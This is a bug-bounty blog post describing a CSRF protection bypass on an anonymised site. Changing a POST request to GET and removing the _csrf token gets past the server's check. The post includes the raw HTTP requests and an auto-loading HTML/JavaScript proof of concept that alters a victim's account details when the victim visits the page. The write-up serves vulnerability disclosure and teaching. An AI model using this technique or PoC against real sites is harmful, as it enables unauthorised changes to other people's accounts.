A very useful technique to bypass the CSRF protection for fun and profit.

Yeasir Arafat Follow
Oct 26, 2018 · 2 min read

Hi folks, It's always a pleasure to share some good stuff with you guys. The heading of the story may give you an idea that today I'm going to share something about CSRF protection bypass.

What is CSRF protection?

In short, *CSRF(Cross-Site Request Forgery)* attacks specifically target state-changing requests on a web browser. To prevent this attacks developer adds an `ANTI-CSRF` token in the request in several ways. For more, you can see it from here, `Article-1` `Article-2`

It was a private program that I was testing and because of privacy, I can not disclose the name. Let's assume the site name is vulnhost.com. It was protected to CSRF until I found the bypass. The

vulnhost.com verifying its request under a `POST` material request. Vulnhost.com actually implemented the `_csrf` token to the `POST` request and validate it on the server side.

The state changing `POST` request looked like this,

```
POST /mycenter/settings/account.html?2-1.IBehaviorListener.0-
formContact-saveContact HTTP/1.1
Host: en.vulnhost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0)
Gecko/20100101 Firefox/58.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://en.vulnhost.com/mycenter/settings/account.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Wicket-Ajax: true
Migration-Wicket: 6
Wicket-Ajax-BaseURL: mycenter/settings/account.html
Wicket-FocusedElementId: id49
X-Requested-With: XMLHttpRequest
Content-Length: 246
Cookie: .......
Connection: close
_csrf=725a7f90-192f-4b94-8fc9-6320ace14fef&id48_hf_0=&
gender=radio8&firstName=xx&lastName=YY&saveContact=1
```

Here, the `_csrf=` parameter generates the random token to verify the request. If I change/remove the `_csrf` token to the GET request vulnhost.com do not validate it on the server side.

> *For the* bypass *I change the request* method `POST` to `GET` *and remove* the `_csrf=` paramter *from the request. like below request,,*

```
GET /mycenter/settings/account.html?2-1.IBehaviorListener.0-
formContact-saveContact=&id48_hf_0=&gender=radio8&firstName=XX&
lastName=YY&saveContact=1 HTTP/1.1
Host: en.vulnhost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0)
Gecko/20100101 Firefox/58.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://en.vulnhost.com/mycenter/settings/account.html
Wicket-Ajax: true
Migration-Wicket: 6
Wicket-Ajax-BaseURL: mycenter/settings/account.html
Wicket-FocusedElementId: id49
X-Requested-With: XMLHttpRequest
Cookie: ...
Connection: close
```

As expected the request response was. `200ok` But there was a problem

to change the request using typical HTML PoC. I faced, in this case, the browser requires a page refresh to change the content of the requested page. I thought the request `GET` contains a bunch of HTTP header which may interrupt to changing the request.

For sort out this problem, I used a little bit of javascript and the final HTML request look likes,

```
<html>
<head>
<script type="text/javascript">
        var timer = null;
function auto_reload()
{
        window.location = 'https://en.vulnhost.com/mycenter
/settings/account.html?4-2.IBehaviorListener.0-formContact-
saveContact=&id48_hf_0=&gender=radio8&firstName=Account&
lastName=Takeover&saveContact=1';
}
</script>
<body>


<!-- Reload page every 5 seconds. -->
         <body onload="timer =
setTimeout('auto_reload()',5000);">
</body>
</html>
```

The victims need not to click on to `Submit Request` HTML form as like typical CSRF attacks. What it does, it will change the content of victims browser on just visiting the page. I also can set a time limit here to load the page and it will change the victim account info

automatically.

Thanks for reading. Yeasir Arafat